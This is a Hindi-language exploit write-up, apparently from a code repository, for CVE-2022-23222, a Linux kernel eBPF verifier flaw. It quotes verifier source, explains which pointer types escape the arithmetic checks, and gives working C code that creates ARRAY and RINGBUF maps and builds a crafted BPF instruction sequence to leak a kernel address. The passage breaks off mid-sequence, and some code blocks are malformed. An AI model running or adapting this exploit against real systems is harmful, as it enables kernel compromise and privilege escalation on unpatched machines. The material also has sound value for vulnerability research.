fridayortiz/cve-2022-23222CVE-2022-23222, Rust के साथ प्रबंधित।
यदि आप सिर्फ इस चीज़ को बनाना और चलाना चाहते हैं तो यहाँ क्लिक करें। जो नीचे दिया गया है वह कमोबेश चीनी राइटअप का अनुवाद है, जो यहाँ उपलब्ध है।
हम संदर्भ के रूप में संस्करण 5.13.0 के लिए मुख्यधारा कर्नेल कोड का उपयोग करेंगे।
उपलब्ध पॉइंटर प्रकारों और उनकी सीमाओं की जाँच करने वाले फ़ंक्शन के बीच एक बेमेल है।
यह बेमेल पहली बार Linux 5.8 में पेश किया गया था और तब से इसे पैच किया जा चुका है।
उपलब्ध पॉइंटर प्रकारों की सूची यहाँ उपलब्ध है।```c
/* types of values stored in eBPF registers /
/ Pointer types represent:
जैसा कि आप देख सकते हैं, कई `_OR_NULL` पॉइंटर प्रकार हैं जिनका उपयोग तब किया जाता है जब कोई पॉइंटर... null हो सकता है। वेरिफायर आम तौर पर आपको इस बिंदु पर केवल null जांच करने देगा, या कुछ फ़ंक्शनों में तर्क के रूप में। निम्नलिखित फ़ंक्शन, जो [यहाँ](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720) उपलब्ध है, पॉइंटर सीमाओं को ट्रैक करने और जाँचने के लिए जिम्मेदार है।```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
दुर्भाग्य से, इस सूची में कुछ प्रकार शामिल नहीं हैं। विशेष रूप से,
PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM,
PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL,
PTR_TO_RDWR_BUF, और PTR_TO_RDWR_BUF_OR_NULL। RINGBUF
मैप प्रकार का उपयोग करके, हम एक PTR_TO_MEM_OR_NULL बना सकते हैं जो हमें वह
अंकगणित करने की अनुमति देगा जो हमें नहीं करना चाहिए।
सबसे पहले, हम दो मैप बनाते हैं। ARRAY मैप का उपयोग यूज़रस्पेस और BPF प्रोग्राम के बीच जानकारी पास करने के लिए किया जाएगा। RINGBUF मैप का उपयोग एक रजिस्टर को शोषण योग्य पॉइंटर प्रकार देने के लिए किया जाएगा।```c
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
अब, हम एक विशेष रूप से निर्मित BPF प्रोग्राम लोड और चलाते हैं, जो पहले
`ARRAY` मैप एड्रेस के कर्नेलस्पेस एड्रेस को BPF स्टैक पर सहेजेगा,
और फिर पहले वाली पॉइंटर चूक का लाभ उठाकर उस एड्रेस के अंतिम बाइट को
शून्य कर देगा। वेरिफायर सोचेगा कि हम ऐरे की शुरुआत से पढ़ रहे हैं,
लेकिन वास्तव में हम कुछ बाइट नीचे से पढ़ रहे हैं, जो (उम्मीद है) हमें एक
कर्नेल एड्रेस देगा।```c
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack